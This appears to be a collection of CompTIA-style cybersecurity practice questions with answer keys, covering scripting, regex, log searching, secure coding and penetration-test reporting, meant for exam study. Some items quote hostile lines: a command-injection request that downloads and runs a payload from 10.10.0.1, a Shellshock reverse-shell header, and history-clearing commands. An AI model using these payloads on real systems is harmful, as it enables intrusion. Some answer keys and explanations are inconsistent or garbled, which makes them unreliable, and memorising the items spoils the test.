You are analyzing a Python script that isn't functioning properly. You suspect the issue is with the string manipulation being used in the code. Review the following Python code snippet: #!/usr/bin/python site = "www.utulsa.edu" print(site[4::-1]) Based on your analysis, what should be displayed on the screen by the print command? A) u.www B) www.ut C) www.u D) tulsa.com	Correct Answer: u.www Explanation: When evaluating the code site[4::-1], you would receive ".www" in response. Within Python, characters in a string can be accessed by their index location. If the string (site) is "www.utulsa.edu", then each letter from left to right is referenced as s[0] to s[13]. The format for the array is [start:end:increment], so s[4::-1] is evaluated as starting with the 4th position (u) since computers start counting at 0), count until it reaches the beginning or end of the word, and then increment by one position each time to the left (since it was -1). This would display the 4th position (u), 3rd position (.), 2nd position (w), 1st position (w), the zero position (w), and then stop
Consider the following REGEX search string: <<see picture>> Which of the following strings would NOT be included in the output of this search? A) 205.255.255.001	Correct Answer: 37.259.129.207 Explanation: Super tough question based upon the information provided in the CompTIA LMS, but see if you can work through the answer The \b delimiter indicates that we are looking for whole words for the complete string. The REGEX is made up of four identical repeating strings, (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.". For now, let us refer to these octets, such as the ones used in internet protocol version 4 addresses. Each octet will allow the combination of 25[0-5] OR (|) 2[0-4][9-] OR numbers 00-99 is preceded by (?) a 0 or 1, or just a single number followed by a ".". Since the period is treated as a special character in a REGEX operator, the escape character (\) is required to enable the symbol to act as a dot or period in the output. This sequence repeats four times, allowing for all variations of normal IP addresses to be entered for values

B) 37.259.129.207 C) 001.02.3.40 D) 1.2.3.4	0-255. Since 259 is outside the range of 255, this is rejected. More specifically, character strings starting with 25 must end with a number between 0 and 5 (25[0-5]). Therefore, 259 would be rejected. Now, on exam day, if you received a question like this, you can try to figure out the pattern as explained above, or you can take the logical shortcut. The logical shortcut is to look at the answer first and see that they all look like IP addresses. Remember, grep and REGEX are used by a cybersecurity analyst to search logs for indicators of compromise (like an IP address), so don't be afraid to take a logical guess if you need to conserve time during your exam. So, which one isn't a valid IP address? Clearly, 37.259.129.107 is not a valid IP address, so if you had to guess as to what wouldn't be an output of this complex-looking command, you should guess that one!
You are working on a Hack the Box challenge on a Linux server. You have already gained initial access to the server and successfully elevated your privileges to root. As part of the challenge, you must find the date and time that a keyword was entered into the Linux server's logs. Which of the following commands would successfully look through all the log files in "/var/log" for any references to "Terri" or "terri" on this Linux server? A) find /var/log/ -exec grep -H -e "terri' OR 'Terri"' {} \; 2> /dev/null B) find /var/log/ -name "*.log" -exec grep -H -e "[Tt]erri" {} \; 2> /dev/null C) find /var/log/ -exec grep -H -e "[Tt]erri" {} \; 2> /dev/null D) find /var/log/ -name *.log -exec grep -H -e "terri' OR 'Terri"' {} \; 2> /dev/null	Correct Answer: find /var/log/ -exec grep -H -e "[Tt]erri" {} \; 2> /dev/null Explanation: The find command will by default look at every single file starting in a designated subdirectory (in this case /var/log) and will execute whatever command is specified between "-exec" and "\;" with the 'found' file being substituted for the "{}." Executing grep on every file with a parameter of -H will ensure the filename with the full path is displayed. The -e option in grep will use a REGEX expression. "[Tt]erri" is the correct REGEX expression to look for "Terri" or "terri." As many files in the /var/log directory do not end with the extension ".log," attempting to filter for just files with a .log extension will overly limit the results that are returned to you. "2> /dev/null" is needed to filter out any errors "find" might generate (such as attempting to open a directory). Now, let's talk about tackling this on test day because you don't need to have all of these things memorized to answer this question. Consider the four options presented to you and determine what is different in each one. You will notice every option starts with "fin /var/log" and ends with "{} \; 2>/dev/null", so you should mentally ignore that in each of the answers and focus on what is different. We also see that all the answers have "grep -H -e," so we aren't asked to be an expert on grep or its flags either, so mentally ignore that. This leaves us with two sets of differences. One set has "-name "*.log" versus "-exec." The second set of differences is "'Terri' OR 'terri'" or "[Tt]erri." From this, you can determine which regular express is correct ([Tt]erri) and eliminate 2 of the four choices. Now, you need to pick between the name and exec flags. If you know anything about Linux log files, you should remember that they usually don't end in .log as
A coworker is creating a file containing a script. You look over their shoulder and see "#!/bin/bash" as the first line in the file. Based on this, what type of file extension should this script use? A) .bat B) .py	Correct Answer: .sh Explanation: A shell script is a file that contains a list of commands to be read and executed by the shell in Linux and macOS. A .sh file is used for a shell script and its first line always begins with #!/bin/bash that designates the interpreter. This line instructs the operating system to execute the script. Shell scripts allow you to perform various functions. These functions include automation of commands and tasks of system administration and troubleshooting, creating simple applications, and manipulating text or files. Python is a general-purpose programming language that can develop many different kinds of applications. It is designed to be easy to read, and the programs use fewer lines of code compared to other programming languages. The code runs in an interpreter. Python is preinstalled on many Linux distributions and can be installed on Windows. Python scripts are saved using the .py extension.

C) .vbs D) .sh	VBScript is a scripting language based on Microsoft's Visual Basic programming language. Network administrators often use VB-Script to perform repetitive administrative tasks. With VBScript, you can run your scripts from either the command-line or the Windows graphical interface. Scripts that you write must be run within a host environment. Windows 10 provides Internet Explor-er, IIS, and Windows Script Host (WSH) for this purpose. Batch scripts run on the Windows operating system and, in their simplest form, contain a list of several commands that are executed in a sequence. A .bat file is used for a batch script. You can run the file by calling its name from the command line or double-clicking the file in File Explorer. Generally, batch file scripts run from end to end and are limited in branching and user input
You are logged into the Windows command prompt and want to find what systems are alive in a portion of a Class B network (172.16.0.0/24) using ICMP. What command would best accom-plish this? A) for /L %X in (1 1 254) do PING -n 172.16.0.%X | FIND /I "Reply" B) for %X in (1 1 255) do PING 172.16.0.%X C) ping 172.16.0.255 D) ping 172.16.0.0	Correct Answer: for /L %X in (1 1 254) do PING -n 172.16.0.%X | FIND /I "Reply" Explanation: The Windows command line does support some fundamental scripting, as shown in this answer. Use an iterative variable to set the starting value (start#) and then step through a set range of values until the value exceeds the set ending value (end#). /L will execute the iterative by comparing start# with end#. If start# is less than end#, the command will execute. When the iterative variable exceeds end#, the command shell exits the loop. You can also use a negative step# to step through a range in decreasing values. For example, (1,1,5) generates the sequence 1 2 3 4 5 and (5,-1,1) generates the sequence (5 4 3 2 1). The syntax is: "for /L %variable in (start# step# end#) do command [CommandLineOptions]."
Consider the following line of code: window.alert("You have been pwned!"); In which of the following programming languages is this line of code written? A) python B) perl C) javascript D) ruby	Correct Answer: javascript Explanation: This line of code is written in JavaScript. JavaScript is a scripting language that allows a developer to do all the fancy complex things you see when you visit web pages. JavaScript is used alongside HTML and Slide(s) CSS on the World Wide Web
Your team is developing an update to a piece of code that al-lows customers to update their billing and shipping addresses in the web application. The shipping address field used in the database was designed with a limit of 75 characters. Your team's web programmer has brought you some algorithms that may help prevent an attacker from trying to conduct a buffer overflow attack by submitting invalid input to the shipping address field. Which pseudo-code represents the best solution to prevent this issue? A) if(shippingAddress <=75) {update field} else exit B) if(shippingAddress ==75) {update field} else exit C) if(shippingAddress !=75) {update field} else exit D) if(shippingAddress >=75) {update field} else exit	Correct Answer: if(shippingAddress <=75) {update field} else exit Explanation: To ensure that the field is not overrun by an input that is too long, input validation must occur. Checking if the shipping address is less than or equal to 75 characters before updating the field will prevent a buffer overflow from occurring in this program. If the input is 76 characters or more, then the field will not be updated, and the algorithm will exit the function
You have been asked to evaluate the following code: <<see picture>> What does the helpme function perform when executed? A) conduct port scanning B) enumerate assets C) enumerate users D) conduct keylogging	Correct Answer: conduct port scanning Explanation: This code snippet is an effective port scanner. The function named helpme can be called from the Bash shell's prompt by giving it three parameters: the target IP address, the minimum port, and the maximum port. For example, if you entered "helpme www.utul-sa.edu 21 25", the code would conduct a port scan on ports 21, 22, 23, 24, and 25 of the www.utulsa.edu domain name

You have been asked to evaluate the following PowerShell code snippet: <<see picture>> What function is being performed in this code snippet? A) enumerate users B) launch remote access C) download files D) enumerate assets	Correct Answer: launch remote access Explanation: The code snippet displayed is being used to spawn a remote PowerShell session. This relies on enabling WinRM to conduct Remote PowerShell
A coworker sent you the following Bash script to use during an upcoming engagement for TU's corporate network: <<see picture>> During the upcoming engagement, what should you use this script to perform? A) reconnaissance B) debugging an exploit C) scheduling tasks D) collecting logs	Correct Answer: reconnaissance Explanation: This simple Bash script is only 9 lines in length, but it creates a decent reconnaissance tool. The script asks the user for the starting and ending IP addresses to scan and then performs a nmap scan on each IP address to see if ports 80 and 443 are open. It logs this information to a greppable file called tempfile and then performs some filtering as it passes the data from tempfile to tempfile1. It then cleans up the format and overwrites the original tempfile. Then, it removes the tempfile1 that was used, leaving only the tempfile. Finally, it displays the tempfile to the screen, showing only the IP addresses with clients that have either port 80 or port 443 open
Consider the following file called firewall.log that contains 53,682 lines that logged every connection going into and out of this network. The log file is in the following data format, as shown below with the first two lines of the log file: <<see picture>> Which of the following commands would display all of the lines from the firewall.log file that contain the destination IP address of 10.1.0.10 and a destination port of 23? A) grep "10.1.0.10," firewall.log | grep "23" B) grep "10\.1\.0\.10\," firewall.log | grep "23$" C) grep "10\.1\.0\.10\," firewall.log \| grep "23" D) grep "10.1.0.10," firewall.log \| grep "23$"	Correct Answer: grep "10\.1\.0\.10\," firewall.log | grep "23$" Explanation: The easiest way to do this is with a grep command. In Linux, you can chain together commands by piping data from one command's output to serve as the input to another command. In this scenario, you can use grep to find all the lines with the IP address first. Then, you can use the second grep command to find all the lines using port 23. The result is a smaller, filtered list of events to analyze. When using the dot in the IP addresses, you must remember to escape this character. Otherwise, grep treats it as a special character in a regular expression treated as any character (except a line break). Adding the \ before the dot (\.), grep treats it simply as a dot or period. You must also escape the comma for it to be processed properly. The $ after the port number is used to indicate that the number should only be counted as a match if it is at the end of the line. This ensures that we only return the destination ports (DPT) matching 23 and not the source port (SPT)
Which of the following secure coding best practices ensures a character like < is translated into the &lt string when writing to an HTML page? A) error handling B) session management C) input validation D) output encoding	Correct Answer: output encoding Explanation: Output encoding involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example, translating the < character into the < string when writing to an HTML page. Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering the malfunction of various downstream components. Improper error handling can introduce various security problems where detailed internal error messages such as stack traces, database dumps, and error codes are displayed to an attacker. The session management implementation defines the exchange mechanism that will be used between the user and the web application to share and continuously exchange the session ID

Consider the following data structure: "attacks" : ["XSS", "SQLI", "CSRF", "SSRF"] Which of the following best describes the data structure presented above? A) csv B) json C) key-value pair D) array	Correct Answer: array Explanation: An array is a data structure consisting of a collection of elements, each identified by at least one array index or key. A key-value pair is made of a key name and a value of that key separated by a colon(:), such as type:intrusion-set. JSON is an open standard data encoding format of data representation that can be used and manipulated easily with scripts. It is designed to be human-readable and machine-processable. It is based on JavaScript concepts but is entirely script and language-independent. A comma-separated value (CSV) file is a file where entries are separated by commas. CSV files were originally used as an export from spreadsheets but have since become a very popular way to import and export data
Your company has been contracted to develop an Android mobile application for a major bank. You have been asked to verify the security of the Java function's source code below: <<see picture>> Which of the following vulnerabilities exist in this application's authentication function based solely on the source code provided? A) hard-coded credentials B) SQLi vulnerabiltiy C) parameterized queries D) buffer overflow	Correct Answer: hard-coded credentials Explanation: The function uses hard-coded credentials in the function, which is an insecure practice that can lead to compromise. The password for the application is shown in the source code as mR7HCS14@31&#. Even if this was obfuscated using encoding or encryption, it is a terrible security practice to include hard-coded credentials in the application since an attacker can reverse-engineer them. In this case, it could be used to rob the bank or its customers! There is no evidence of a SQL injection or buffer overflow attack vulnerability based on the code being shown since this code doesn't even show any SQL or ability to connect to an SQL database. We cannot see the variable initiation in this code, either, so we cannot determine if it is vulnerable to a buffer overflow attack. Finally, a parameterized query is a security feature, not a vulnerability, and this source code does not show any evidence of parameterized queries being used
What language is the following code snippet written in? <<see picture>> A) powershell B) python C) bash D) ruby	Correct Answer: bash Explanation: You should be able to identify a script or programming language based on a code snippet for the exam. PowerShell uses keywords like Write-Host to output text to the display. Python uses keywords like print to output text to the display. Bash uses keywords like echo to output text to the display. You are not expected to be able to write programs or scripts for the exam, but you must be able to read, analyze, and understand their basic functionality
Which of the following best describes the data structure shown below? <<see picture>> A) csv B) array C) json D) key-value pair	Correct Answer: json Explanation: JSON is an open standard data encoding format of data representation that can be used and manipulated easily with scripts. It is designed to be human-readable and machine-processable. It is based on JavaScript concepts but is entirely script and language-independent. This excerpt is a JSON object used by the STIX protocol to convey threat information. STIX (Structured Threat Information eXpression) is a standardized XML programming language for conveying data about cybersecurity threats in a common language that can be easily understood by humans and security technologies. A comma-separated value (CSV) file is a file where entries are separated by commas. CSV files were

	originally used as an export from spreadsheets but have since become a very popular way to import and export data. A key-value pair is made of a key name and a value of that key separated by a colon(:), such as type:intrusion-set. An array is a data structure consisting of a collection of elements, each identified by at least one array index or key. In the JSON data structure shown, there are multiple arrays and key-value pairs included, but the overall data structure is JSON formatted making it the better answer
Which language is the following code snippet written in? <<see picture>> A) JavaScript B) PowerShell C) bash D) python	Correct Answer: python Explanation: You should be able to identify a script or programming language based on a code snippet for the exam. PowerShell uses keywords like Write-Host to output text to the display. Python uses keywords like print to output text to the display. Bash uses keywords like echo to output text to the display. You are not expected to be able to write programs or scripts for the exam, but you must be able to read, analyze, and understand their basic functionality
Drew is in the process of debugging a software program. As he examines the code, he discovers that it is miswritten. Due to the error, the code does not validate a variable's size before allowing the information to be written into memory. Based on Drew's discovery, what type of attack might occur? A) SQLi vulnerabiltiy B) buffer overflow C) XSS D) malicious logic	Correct Answer: buffer overflow Explanation: A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information can cause an overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Programs should use the variable size validation before writing the data to memory to ensure that the variable can fit into the buffer to prevent this type of attack
Which of the following types of output encoding is shown in the below picture? <<see picture>> A) XML B) ASCII C) Hex D) Base64	Correct Answer: Base64 Explanation: The string aGVsbG8gd29ybGQNCg== is using Base64 encoding. Base64 encoding is commonly used to convert binary data, such as ASCII text characters, into an encoded string to bypass detection mechanisms in a network. While a Base64 string won't always end with an equal or double equal sign, it is common to see them used. This is because the equal signs are used to pad the string to the proper length and complement the final processing of the message's encoding
Which language is the following code snippet written in? <<see picture>> A) PowerShell B) python C) bash D) ruby	Correct Answer: PowerShell Explanation: You should be able to identify a script or programming language based on a code snippet for the exam. PowerShell uses keywords like Write-Host to output text to the display. Python uses keywords like print to output text to the display. Bash uses keywords like echo to output text to the display. You are not expected to be able to write programs or scripts for the exam, but you must be able to read, analyze, and understand their basic functionality

You are reverse engineering a malware sample using the Strings tool when you notice the code inside appears to be obfuscated. You look at the following line of output on your screen:

<<see picture>>

Based on the output above, which of the following methods do you believe the attacker used to prevent their malicious code from being easily read or analyzed?
A) Base64
B) XML
C) SQL
D) QR coding

Correct Answer:
Base64

Explanation:
While there are many different formats used by attackers to obfuscate their malicious code, Base64 is by far the most popular. If you see a string like the one above, you can decode it using an online Base64 decoder. I recommend you copy the string above and decode it to see how easy it is to reverse a standard Base64 encoded message. Some more advanced attackers will also use XOR and a key shift in combination with Base64 to encode the message and make it harder to decode, but using a tool like CyberChef can help you decode those. Structured Query Language (SQL) is used to communicate with a database. Extensible Markup Language (XML) is a markup language that defines a set of rules for encoding documents in a human-readable and machine-readable format. SQL and XML are not considered obfuscation techniques. A QR Code is a two-dimensional version of the barcode, known from product packaging in the supermarket. QR coding is the process of converting some data into a single QR code. QR coding might be considered a form of obfuscation, but it is not shown in this question's example output

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?
A) #$
B) #!
C) <$
D) ##
E) <#

Correct Answer:
#!

Which of the following expressions in Python increase a variable val by one (Choose two.)
A) val+=1
B) val++
C) val=val++
D) val=(val+1)
E) ++val

Correct Answers
val=(val+1)
val+=1

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

cat /dev/null > temp touch `"r .bash_history temp mv temp .bash_history

Which of the following actions is the tester MOST likely performing?
A) Covering tracks by clearing the Bash history
B) Making decoy files on the system to confuse incident responders
C) Making a copy of the user's Bash history for further enumeration
D) Redirecting Bash history to /dev/null

Correct Answer:
Covering tracks by clearing the Bash history

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

exploit = `POST ` exploit += `/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} `" c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a` exploit += `HTTP/1.1`

Which of the following commands should the penetration tester

Correct Answer:
chmod 600 /tmp/apache

run post-engagement?
A) rm -rf /tmp/apache
B) taskkill /IM 'apache' /F
C) grep -v apache ~/.bash_history > ~/.bash_history
D) chmod 600 /tmp/apache

A penetration tester writes the following script:

#!/bin/bash for x in 'seq 1 254'; do ping -c 1 10.10.1.$x; done

Which of the following objectives is the tester attempting to achieve?
A) Set the TTL of ping packets for stealth.
B) Fill the ARP table of the networked devices.
C) Scan the system on the most used ports.
D) Determine active hosts on the network.

Correct Answer:
Determine active hosts on the network

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

exploits = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/ html,application/xhtml+xml,application/xml`}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?
A) exploits = {'User-Agent': '() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80 1>&0`, `Accept`: `text/ html,application/xhtml+xml,application/xml`}
B) exploits = {'User-Agent': '() { ignored;};/bin/bash -i 'id;whoami', 'Accept':'text/html,application/xhtml +xml,application/xml'}
C) exploits = {'User-Agent' () { ignored;};/bin/bash -i>& find / -perm , 'Accept': 'text/html,application/xhtml +xml,application/xml'}
D) exploits = {'User-Agent': '() { ignored;};/bin/sh -i ps

Correct Answer:
exploits = {'User-Agent': '() { ignored;};/bin/bash -i 'id;whoami', 'Accept':'text/html,application/xhtml +xml,application/xml'}

Drew wrote the following script to be used in one engagement:

<<see picture>>

Which of the following actions will this script perform?
A) Attempt to flood open ports.
B) Create an encrypted tunnel.
C) Listen for a reverse shell.
D) Look for open ports.

Correct Answer:
Look for open ports

A coworker sent you the following snippet of a Ruby script to use during an upcoming engagement for TU's network:

<<see picture>>

During the upcoming engagement, what should you use this script to perform?
A) credential harvesting
B) network enumeration
C) proxying a connection
D) establishing a bind shell

Correct Answer:
credential harvesting

Explanation:
This snippet of a Ruby script comes from the Metasploit framework as part of its credcollect.rb script. Most of the meterpreter scripts in Metasploit are written in Ruby, as it quickly became one of the favorite languages of penetration testers. Even if you cannot read and understand this entire script, you should identify some keywords and phrases to guess the correct answer. For example, line 6 mentions sam_hashes, which is used in Windows authentication. The script then extracts the data from the sam_hases for each username and password it could find and stores it in the client (Metasploit) database. For the exam, you need to read a script and understand its basic workflow and functions

Correct Answers
The network location of the vulnerable device
The vulnerability identifier

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.) A) The client acceptance form B) The vulnerability identifier C) The CVSS score of the finding D) The tool used to find the issue E) The network location of the vulnerable device	Explanation: Of these choices, you might think CVSS is most important. However, remember that CVSS are contextless - to determine the real impact of the vuln, you need to know where the vulnerability lies in the client network. If it is public facing, that high CVSS is probably important; if it is on a device that is strongly segmented, the importance is less. Additionally, the vulnerability identifier will allow you to not only retrieve information about the vuln to conduct a risk assessment, but it will provide you the related CVSS
A penetration tester runs the following command on a system: find / -user root `"perm -4000 `"print 2>/dev/null Which of the following is the tester trying to accomplish? A) Find files with the SUID bit set B) Set the SGID on all files in the / directory C) Find files that were created during exploitation and move them to /dev/null D) Find the /root directory on the system	Correct Answer: Find files with the SUID bit set Explanation: Linux/Unix access rights flags setuid and setgid (short for set user identity and set group identity) allow users to run an executable with the file system permissions of the executable's owner or group respectively and to change behaviour in directories. They are often used to allow users on a computer system to run programs with temporarily elevated privileges in order to perform a specific task. While the assumed user id or group id privileges provided are not always elevated, at a minimum they are specific. In this problem, the code snippet is using the find command to identify all indexed files that have SUID bit set
Which of the following tools should a penetration tester use to brute-force authentication on ftp, ssh, smb, vnc, or zip archive passwords? A) WinDbg B) Patator C) CrackMapExec D) Gobuster	Correct Answer: Patator Explanation: WinDbg is a free debugging tool created and distributed by Microsoft for Windows operating systems. Gobuster is a tool that can discover subdomains, directories, and files by brute-forcing from a list of common names. CrackMapExec is a post-exploitation tool to identify vulnerabilities in active directory environments. Patator is a multi-purpose brute-force tool that supports several different methods, including ftp, ssh, smb, vnc, and zip passwords
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience? A) Quantitative impact assessments given a successful software compromise B) Executive summary of the penetration-testing methods used C) Code context for instances of unsafe type-casting operations D) Bill of materials including supplies, subcontracts, and costs incurred during assessment	Correct Answer: Code context for instances of unsafe type-casting operations Explanation: Providing Details to Developers Developers are the personnel responsible for creating and maintaining a solution, usually referring to the software development of an application, website, or something similar. In cases where the target was a project for which developers are particularly responsible, they will be directly involved in implementing all the resolution and mitigation techniques that need to be addressed. Often these can be addressed through the adoption of secure software development practices
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff? A) Information regarding the business impact if compromised B) The executive summary and information regarding the testing company	Correct Answer: A quick description of the vulnerability and a high-level control to fix it Explanation: Sharing Information with Technical Staff Technical Staff are the personnel that maintain the systems that were tested. As such, they are likely responsible for implementing or aiding in implementing some

C) The rules of engagement from the assessment D) A quick description of the vulnerability and a high-level control to fix it	of the solutions to the issues found during the penetration test. A lot of the finer details of the vulnerabilities and the way in which they were exploited can be of value for the technical staff in order to determine resolution or mitigation strategies that minimize business impact
A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation? A) Implement multifactor authentication on all corporate applications. B) Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy. C) Implement an email security gateway to block spam and malware from email communications. D) Implement a recurring cybersecurity awareness education program for all users.	Correct Answer: Implement a recurring cybersecurity awareness education program for all users Explanation: Of these solutions, only user training will help improve employee identification of this type of phishing attack
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment? A) The expected time frame of the assessment B) The proper emergency contacts for the client C) The correct user accounts and associated passwords D) A signed statement of work	Correct Answer: The proper emergency contacts for the client Explanation: The emergency contact is the party that can be contacted in case of particularly urgent matters. Not being able to conduct the pentest to meet the SOW constitutes an urgent matter
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT? A) Collect the proper evidence and add to the final report B) Reach out to the primary point of contact C) Try to take down the attackers D) Call law enforcement officials immediately	Correct Answer: Reach out to the primary point of contact Explanation: The primary contact is the party responsible for handling the project on the client's end. This can usually be a CISO or other party responsible for the major decisions surrounding the penetration test As with the above, you are not there for IR. Inform the primary POC, stop your pentesting activities, and wait for further direction
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment. Which of the following actions should the tester take? A) Halt the assessment and follow the reporting procedures as outlined in the contract. B) Perform forensic analysis to isolate the means of compromise and determine attribution. C) Incorporate the newly identified method of compromise into the red team's approach. D) Create a detailed document of findings before continuing with the assessment.	Correct Answer: Halt the assessment and follow the reporting procedures as outlined in the contract Explanation: Same as the earlier question
You have been hired by a corporate client to perform a web application penetration test. After you presented your findings to the client, they have asked you to perform a static code review, update the web server application, and configure a new web application firewall to protect the system. The client organization	Correct Answer: scope creep Explanation:

does not have additional budget or a written modification to your previously signed contract to support these requests. Which of the following are you experiencing? A) improper target selection B) system hardening C) scope creep D) scheduling conflict	Scope creep is the condition that occurs when a client requests additional services after a scope of work (SOW) has been signed and the project scope has been documented. In this case, the client is now requesting a lot more work to be performed after the contract was already signed. If the client wants these additional services, a contract modified would be required, and this would likely require additional resources and budget to support it
A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report? A) Validate API security settings before deployment. B) Add a dependency checker into the tool chain. C) Perform fuzz testing of compiled binaries. D) Perform routine static and dynamic analysis of committed code.	Correct Answer: Add a dependency checker into the tool chain Explanation: This is an example of a dependency vulnerability. Dependency vulnerabilities exist as some applications on the surface are secure; however, they may have to be dependent on other applications that are vulnerable. This dependency can result in widespread vulnerabilities that can affect the entire system. Of the above choices, only an automated dependency checker tool will be able to identify the possible presence of this vulnerability
A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team? A) User hashes sent over SMB B) Multiple handshakes C) IP addresses D) Encrypted file transfers	Correct Answer: User hashes sent over SMB Explanation: Responder is an inbuilt Kali Linux tool for Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) that responds to specific NetBIOS queries based on the file server request. The main purpose of using this tool is to capture authentication hashes (NTLM, smb, LDAP, etc)
An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information? A) Encrypt and store any client information for future analysis B) Publish the findings after the client reviews the report C) Follow the established data retention and destruction process D) Report any findings to regulatory oversight groups	Correct Answer: Follow the established data retention and destruction process Explanation: The report is the showcase of the PenTest. In order to present a polished and professional report, it is advisable to use best practices, a framework, and other proven formulas. Additionally, it must be remembered that a report is a confidential document containing sensitive information and so should be treated as such. Depending on different factors such as a client's objectives, continued penetration testing and retesting, or a client's industry and compliance requirements, you will need to define storage time for reports and supporting documentation. This may include evidence, notes written during the assessment, and other elements that we will be discussing next, as they can aid in different areas of post-engagement activities. Also, the sensitivity of what you are storing may alter the time you wish to store it, as you will see in the following information
A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank	Correct Answer: Enforce mandatory employee vacations Explanation: Mandatory Vacations An operational control that should be considered is mandatory

account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future? A) Install video surveillance equipment in the office B) Encrypt passwords for bank account information C) Implement multifactor authentication D) Enforce mandatory employee vacations	vacations. Users are more likely to make mistakes when they are tired, stressed, or more likely to leave the organization. In cases where more people are needed to fulfill a role or position, job rotation can also help train new users for a particular role. In this case, the mandatory vacation could allow a capable other employee to audit an important role to identify any illegal activity
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information? A) Recommend using a password manage/vault instead of text files to store passwords securely. B) Document the unprotected file repository as a finding in the penetration-testing report. C) Create a custom password dictionary as preparation for password spray testing. D) Recommend configuring password complexity rules in all the systems and applications.	Correct Answer: Document the unprotected file repository as a finding in the penetration-testing report Explanation: yes, you will likely try to use some of those account credentials to gain further system access, but the FIRST thing you need to do is document the finding and not hope to remember where you found the information. You can later provide amplifying information as to the value of the information for attackers
A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT? A) Assume the alert is from the penetration test. B) Deconflict with the penetration tester. C) Halt the penetration test. D) Conduct an incident response.	Correct Answer: Deconflict with the penetration tester Explanation: Consider how a situation might need to be addressed if the PenTest attempt is detected. It is possible that several testers might focus their efforts on a key system at the same time, thus making the breach debilitating or quite obvious. In such a case, the testing team might need to work together to scale back on their efforts to de-escalate the effects of the test. Another example is when automated tools are used without any rate-limit against a system that is not prepared to handle a large volume of communications. Consider how detrimental it would be for both the entity being assessed and the testing team if the system becomes unstable, or worse, unavailable. In these cases it will be necessary for the PenTester to communicate these situations to the appropriate contacts from the client. Providing situational awareness to key client personnel can also help deconflict the breach, enabling the PenTest to continue so that additional issues can be found, exploited, and analyzed. If the system stays unstable or unavailable, certain situations might arise that will impact the PenTest. If a service crashed, it would not be usable for exploitation and access, or certain techniques might no longer work

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement? A) Scheduling of follow-up actions and retesting B) Review of the lessons learned during the engagement C) Acceptance by the client and sign-off on the final report D) Attestation of findings and delivery of the report	Correct Answer: Attestation of findings and delivery of the report Explanation: Attestation is the process of providing evidence that the findings detailed in the PenTest report are true. In other words, by signing off on the report given to the client, you are attesting that you believe the information and conclusions in the report are authentic. Attestation is perhaps the most significant component of gaining client acceptance, as the client must believe that what you have said about their people, processes, and technology is accurate. Many organizations will not simply trust your word that a particular vulnerability exists, even if you've built yourself a good reputation over the years. You must be prepared to prove what you claim. Proof can come in many forms, and those forms usually depend on the nature of what is being proven. For example, if you want to prove that you were able to break into a server holding sensitive data, you could present exfiltrated data to the client as proof. If you want to provide evidence of a backdoor, you could give the client a live demonstration of accessing a host using a reverse shell. If you want to prove that you were able to glean sensitive data in transmission, you could show the client packet capture files that include the plaintext data. The threshold of evidence will differ from organization to organization, and some might be content with screenshots showing compromise rather than direct demonstrations. Once again, it's important to communicate with your client to identify their needs
